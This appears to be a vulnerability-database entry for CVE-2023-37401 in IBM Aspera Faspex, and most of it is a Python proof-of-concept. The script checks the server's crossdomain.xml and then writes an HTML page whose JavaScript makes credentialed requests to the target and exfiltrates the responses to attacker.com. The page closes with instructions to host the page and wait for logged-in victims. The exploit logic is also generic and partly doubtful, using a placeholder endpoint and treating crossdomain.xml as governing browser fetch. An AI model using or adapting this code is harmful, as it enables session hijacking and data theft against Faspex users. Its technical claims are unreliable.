cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Aspera Faspex >= 5.0.0, < 5.0.13.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-37401 PoC - IBM Aspera Faspex Cross-Domain Policy Misconfiguration
# This PoC demonstrates how an attacker can exploit the misconfigured crossdomain.xml
import requests
# Step 1: Retrieve the cross-domain policy file from the target Faspex server
target_url = "https://target-faspex-server.com"
crossdomain_url = f"{target_url}/crossdomain.xml"
response = requests.get(crossdomain_url)
if response.status_code == 200:
print("Cross-Domain Policy File Content:")
print(response.text)
# Check if the policy file contains overly permissive or untrusted domains
if "*" in response.text or any(untrusted in response.text for untrusted in ["evil.com", "attacker.com"]):
print("[!] Vulnerability Detected: Cross-domain policy contains untrusted domains")
else:
print(f"[-] Could not retrieve cross-domain policy file. Status code: {response.status_code}")
# Step 2: Exploit via malicious HTML page that leverages the cross-domain policy
malicious_html = """
<!DOCTYPE html>
<html>
<head><title>Malicious Page</title></head>
<body>
<script>
// Exploit the misconfigured cross-domain policy to perform cross-origin requests
// against the target IBM Aspera Faspex server using the victim's session
fetch('https://target-faspex-server.com/api/v1/some_endpoint', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({action: 'malicious_action'})
}).then(response => {
// Send stolen data to attacker-controlled server
return response.text();
}).then(data => {
// Exfiltrate data to attacker's server
new Image().src = 'https://attacker.com/exfil?data=' + btoa(data);
});
</script>
</body>
</html>
"""
# Step 3: Save the malicious HTML to a file
with open("malicious_page.html", "w") as f:
f.write(malicious_html)
print("[*] Malicious HTML page saved as malicious_page.html")
print("[*] Host this page on an untrusted domain listed in the cross-domain policy")
print("[*] When a victim visits this page while logged into Faspex, the exploit triggers")